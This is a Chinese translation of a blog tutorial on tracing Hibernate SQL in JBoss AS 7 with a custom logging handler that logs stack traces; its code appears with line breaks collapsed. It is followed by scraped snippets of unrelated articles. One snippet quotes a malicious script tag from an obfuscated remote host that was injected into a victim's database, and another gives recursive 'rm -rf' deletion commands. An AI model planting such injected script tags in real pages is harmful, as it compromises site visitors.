使用自定义日志记录处理程序在JBoss AS 7中跟踪SQL语句

使用ORM从您的特定数据库中提取数据,并让它创建和发布您必须亲自编写的所有SQL语句似乎很方便。 这就是使ORM解决方案受欢迎的原因。

但是它也有一个缺点:由于ORM为您做了很多工作,因此您在某种程度上失去了对生成的SQL的控制,您不得不依靠ORM为您创建高性能的语句。 但是有可能发生的是,ORM生成的SQL可能不是您手工编写的,并期望ORM为您完成。 在这种情况下,您必须恢复对SQL的控制,然后再次使用代码。


在大型应用程序中,此任务并非那么琐碎,因为可能有数百条语句发布到数据库,这些语句源于数百行Java代码,这些代码大量使用了JPA功能。 跟踪数据库分析工具已确定为有问题的SQL语句,直到实际的代码行变得乏味。

我们知道我们可以在persistence.xml中使用以下两行来为Hibernate启用SQL语句日志记录:

<property name="hibernate.show_sql" value="true"/>
<property name="hibernate.format_sql" value="true"/>

但是,这只会输出已经生成的SQL。 实际的Java代码行仍然不可见。 对于较小的应用程序,将调试器附加到应用程序服务器并通过代码进行调试,直到找到记录有问题的SQL语句的行,这可能是可行的,但是对于较大的应用程序,这很费时间。

由于Hibernate本身不提供任何拦截日志记录的方法,并提供了更多信息来增强日志记录,因此我们将不得不自行完成此操作。 JBoss 文档指出可以编写自己的自定义日志记录处理程序。 由于此日志记录处理程序接收到所有日志记录消息,并且消息还包含启用了SQL日志记录的Hibernate生成的消息,因此我们可以尝试找到我们要查找的行,然后将堆栈跟踪输出到我们自己的日志文件中。

编写自定义日志记录处理程序非常简单。 您所要做的就是设置一个小项目,该类带有一个类,该类扩展了JDK包java.util.logging中的Handler类:

package mypackage;import java.util.logging.Handler;
import java.util.logging.LogRecord;public class MyJBossLogger extends Handler {@Overridepublic void publish(LogRecord record) {}@Overridepublic void flush() {}@Overridepublic void close() throws SecurityException {}
}

publish()方法以LogRecord实例的形式接收所有日志记录输出。 它的方法getMessage()使我们可以直接访问输出。 因此,我们可以将此消息与从某些配置文件中加载的某些关键字进行匹配:

@Override
public void publish(LogRecord record) {String message = record.getMessage();buffer.add(message + "\n");if (keywords == null) {keywords = loadKeywords();}if (matches(message, keywords)) {String stacktrace = "\nStacktrace:\n";StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace();for (StackTraceElement element : stackTrace) {stacktrace += element.toString() + "\n";}buffer.add(stacktrace);flush();}
}

这里的Buffer是一些简单的数据结构(例如guava的EvictingQueue ),用于缓冲最后几行,因为对输出的每一行(!)都会调用publish()方法。 由于一条完整的SQL语句跨越多行,因此我们必须记住其中的几条。 在缓冲行和当前行旁边,我们还输出当前堆栈跟踪的字符串表示形式。 稍后,这将在日志文件中告诉我们调用该文件的位置以及项目中哪一行Java代码导致当前语句。

编译完项目后,我们可以将生成的jar文件复制到新创建的文件夹结构下:$ JBOSS_HOME / modules / system / layers / base / com / mydomain / mymodule / main(对于JBoss AS 7.2)。 为了向JBoss AS告知我们的新模块,我们必须创建一个名为module.xml的XML文件,其内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<module xmlns="urn:jboss:module:1.1" name="com.mydomain.mymodule"><resources><resource-root path="MyJBossLogger-0.0.1-SNAPSHOT.jar"/></resources>
</module>

模块的名称与JBoss modules文件夹中的路径相对应。 它还将在配置文件中用于配置我们的自定义日志记录处理程序:

...
<subsystem xmlns="urn:jboss:domain:logging:1.2"><custom-handler name="CUSTOM" module="com.mydomain.mymodule" class="com.mydomain.mymodule.MyJBossLogger"><level name="DEBUG"/></custom-handler>...

当我们实现日志记录处理程序的flush()方法以将输出写入某些日志文件时,我们将看到类似以下内容(当然是压缩形式):

Hibernate:     select ... from customer ...
Stacktrace:
java.lang.Thread.getStackTrace(Thread.java:1568)
com.mydomain.mymodule.MyJBossLogger.publish(MyJBossLogger.java:20)
org.jboss.logmanager.LoggerNode.publish(LoggerNode.java:292)
org.jboss.logmanager.LoggerNode.publish(LoggerNode.java:300)
org.jboss.logmanager.Logger.logRaw(Logger.java:721)
org.jboss.logmanager.Logger.log(Logger.java:506)
...
com.mydomain.myapp.ArticleEntity.getCustomers(ArticleRepository.java:234)
...

在这里,我们可以清楚地看到哪个OneToMany关系导致了我们正在寻找的有问题的选择语句。

结论

当您想在源代码中找到发出具体查询的确切位置时,使用自定义日志记录处理程序将当前堆栈跟踪注入到SQL语句的日志记录中可能会有所帮助。 事实证明,为JBoss AS编写自己的自定义日志记录处理程序也是一项直接的任务。

翻译自: https://www.javacodegeeks.com/2014/07/tracing-sql-statements-in-jboss-as-7-using-a-custom-logging-handler.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/363439.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言 >> 右移位运算符的原理和一些概念

1、右移位于左移位不同 左移位 不管是 逻辑移位 算术移位 都是低位补0&#xff1b; 右移位 的 逻辑移位和算术移位不同&#xff0c; 算术移位高位补符号位&#xff0c;逻辑移位 高位补0&#xff1b; 右移位 使用逻辑移位的话 需要强制转换成unsigned 无符号型&#xff1b; 2…

去除git版本控制

命令&#xff1a;find . -name ".git" | xargs rm –Rflinux $ find . -type d -iname __pycache__ -exec rm -rf {} \;转载于:https://www.cnblogs.com/gispathfinder/p/10555347.html

PHP基础语法6

//PHP循环语句//for循环for ($i 0; $i < 18; $i) {echo $i . <br>;}//while循环$l 0;while ($l < 18) {echo $l . <br>;$l;}//foreache()用于数组循环的语句$arr [a > 1, b > 2];foreach ($arr as $key > $value) {echo $key . . $value . <…

如何在Java中找到整数的质因数–因式分解

编程课程中的常见家庭作业/任务之一是关于Prime Factorization。 要求您编写一个程序以找到给定整数的素因子 。 一个数字的质数因子是将精确地除以给定数字的所有质数。 例如&#xff0c;35的素数因子分别是7和5&#xff0c;它们本身都是素数&#xff0c;并且精确地除以35。上…

Arduino Serial系列函数 有关print read 的总结

总结一下 在学习arduino srial函数时 的几个知识点&#xff1a; /*** 汇总一下Serial.print输出的一些情况&#xff0c;后面部分要和Serial.read配合使用&#xff1b;* 1. print 输出字符 和int数的结果&#xff0c;* 2. print 输出字符串和一连串的数字* 3. read 读取一个字符…

C#经典名著:《C#入门经典》(第4版)

博客园专题&#xff1a;http://book.cnblogs.com/zt/begin_csharp/ 作  者&#xff1a; &#xff08;美&#xff09;沃森&#xff08;Watson&#xff0c;K.&#xff09;&#xff0c;&#xff08;美&#xff09;内格尔&#xff08;Nagel&#xff0c;C.&#xff09; 等著&#…

inheritPrototypal.js

// 原型式继承// 其基本思路是借助原型可以基于已有的对象创建新的对象function object(o){function F(){}F.prototype o;return new F();}var person {name: "Tom",friends: ["Jack", "John", "Kim"]};var David object(person);…

vue 用户输入搜索 与无限下拉

vue项目中,用户输入关键字搜索,并且手机端做无限下拉 watch: {getListForm.searchKey(val) { this.radioChange(); // 还有其他逻辑,内部调用getDeviceList}} 1 getDeviceList() {2 apiGetDeviceList(Qs.stringify(this.getListForm)).then(res > {3 …

您必须学习Java 8的函数式编程吗?

我最近一直在研究Java 8&#xff0c;并掌握了Manning出版的“ Java 8 In Action” 。 让我印象深刻的第一件事是Java 8的独特销售主张是函数式编程。 函数现在是一流的变量&#xff0c;您可以像int或String一样在代码中传递它们。 这是一个很大的变化。 近年来&#xff0c;功能…

鞋扔布什游戏

布什同学立功了&#xff01;&#xff01;在经济如此不景气的情况下&#xff0c;布什给全世界人民增加了一点笑料&#xff0c;多么伟大的奉献精神。 前几天就看到一个Flash游戏&#xff0c;不过那个是扮演保镖&#xff0c;用枪打掉扔向布什的鞋子&#xff0c;很不爽&#xff0c;…

Arduino 软串口通信 的几点体会

1、arduino主板上的 RX TX 引脚 有时不一定够用&#xff0c;这时就需要将别的 引脚 通过软件 模拟成串口通信引脚&#xff0c;但不是每个引脚 都能这么转换&#xff0c;不同的板子&#xff0c;有所不同。 2、arduino Uno 上只有一个 RX TX 引脚&#xff0c;分别是 0和1 引脚…

coffee.js

()( () )( ( () ) )########################################################################### ##################### ################### ##################################### 更多专业前端知识&#xff0c;请上 【…

巨蟒django之权限6: 权限控制表设计登录权限

1.权限控制表设计 内容 1. 什么是权限&#xff1f; 2. 为什么要有权限&#xff1f;不同用户拥有不同的功能 3. 在web开发中&#xff0c;什么是权限&#xff1f;url 代表 权限4. 开发一个权限的组件&#xff0c;为什么要开发组件&#xff1f;5. 表结构的设计# 第一版权限表 pe…

AJAX Tookits -- ConfirmButton

在AJAX Toolkits中有个ConfirmButton的扩展控件&#xff0c;该控件只能应用与Button类型的控件&#xff0c;例如Button和LinkButton。 当你点击按键之后&#xff0c;系统会弹出一个确认框。基本属性如下&#xff1a; TargetControlID - Button或Link的控件编号.ConfirmText - 弹…

JavaMail可能是邪恶的(并迫使您重新启动应用程序服务器)

在配置JavaMail时&#xff0c;总是有一种有趣的方法。 基本上&#xff0c;您必须填写无类型的地图或属性结构&#xff0c;并希望获得正确的解释。 网络上无数的教程显示了使其正常工作&#xff08;发送/接收邮件&#xff09;所需的最小属性。 但是&#xff0c;正如我们痛苦地了…

CSS制作镂空字体

1.效果图 2.html内容&#xff1a; <!doctype html><html lang"en"><head> <meta charset"UTF-8"> <title>Document</title></head><style> body{background: rgb(248,248,248);} span{font-size: 240px;…

经济危机拒绝穷潇洒 试水充电战危机

寒假充电计划寒假春节元宵&#xff1f;寒假休息睡觉&#xff1f;寒假吃饭唱歌&#xff1f;寒假看电视看书&#xff1f;寒假朋友聚会外出旅游&#xff1f;……过了这么多个寒假&#xff0c;今年这个寒假&#xff0c;似乎注定要跟往年有些不一样。因为&#xff0c;今年这个冬天冷…

常用网站

编码转换&#xff1a; http://tool.oschina.net/encode?type2&#xff08; 支持&#xff1a; Native/UnicodeNative/UTF-8Native/ASCIIURL转码&#xff09;JSON在线解析及格式化验证 https://www.json.cn/ JSON 转 Java 实体类 http://www.bejson.com/json2javapojo/new/ RGB颜…

为什么要在Java的Serializable类中使用SerialVersionUID

序列化和SerialVersionUID始终是许多Java开发人员的难题。 我经常会看到类似此SerialVersionUID的问题&#xff0c;或者如果不在我的Serializable类中声明SerialVersionUID会发生什么情况&#xff1f; 除了涉及到的复杂性和罕见的使用之外&#xff0c;这些问题的另一个原因是Ec…

关于注入(css/c.js)

这几天朋友的网站天天被搞破坏的人恶意注入&#xff0c;也许是程序没写好的原因&#xff0c;数据库每个字段加了一段script&#xff08;<Script Srchttp://%63%2Enuclear3.com/css/c.js></Script>&#xff0c;而这个script地址时不时的有变化&#xff09;。 用一些…